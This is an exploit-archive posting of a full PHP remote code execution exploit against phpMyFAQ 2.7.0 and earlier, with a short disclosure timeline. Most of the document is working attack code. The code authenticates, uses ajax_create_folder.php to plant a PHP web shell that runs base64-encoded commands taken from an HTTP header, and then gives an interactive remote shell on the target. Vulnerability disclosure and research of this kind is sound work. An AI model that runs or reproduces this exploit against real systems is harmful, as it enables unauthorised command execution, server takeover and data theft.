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phpMyFAQ 2.7.0 Code Execution

phpMyFAQ 2.7.0 Code Execution
Posted Nov 6, 2011
Authored by EgiX

phpMyFAQ versions 2.7.0 and below remote code execution exploit that leverages ajax_create_folder.php.

tags | exploit, remote, php, code execution
SHA-256 | ba3e9685c5a69d2b4d1d266c9d15ff200bd3b38ecfe6aab41ad602def5057334

phpMyFAQ 2.7.0 Code Execution

Change Mirror Download
<?php

/*
------------------------------------------------------------------------
phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution Exploit
------------------------------------------------------------------------

author............: Egidio Romano aka EgiX
mail..............: n0b0d13s[at]gmail[dot]com
software link.....: http://www.phpmyfaq.de/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerability overview:

All versions of phpMyFAQ <= 2.6.18 and phpMyFAQ <= 2.7.0 are affected by the
vulnerability that I reported to http://www.exploit-db.com/exploits/18075/
Successful exploitation of this vulnerability requires authentication.

[-] Disclosure timeline:

[23/10/2011] - Vulnerability discovered
[24/10/2011] - Issue reported to http://forum.phpmyfaq.de/viewtopic.php?t=13402
[25/10/2011] - Fix released, more details at http://www.phpmyfaq.de/advisory_2011-10-25.php
[05/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);
return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------+";
print "\n| phpMyFAQ <= 2.7.0 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------+\n";

if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpmyfaq/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "faqusername={$argv[3]}&faqpassword={$argv[4]}";
$packet = "POST {$path}?action=login HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth=foo\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match("/pmf_auth=([^;]*);/", http_send($host, $packet), $auth)) die("\n[-] Login failed!\n");

$packet = "GET {$path}admin/editor/plugins/ajaxfilemanager/ajax_login.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth={$auth[1]}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet = "POST {$path}admin/editor/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth={$auth[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}admin/editor/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nphpmyfaq-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

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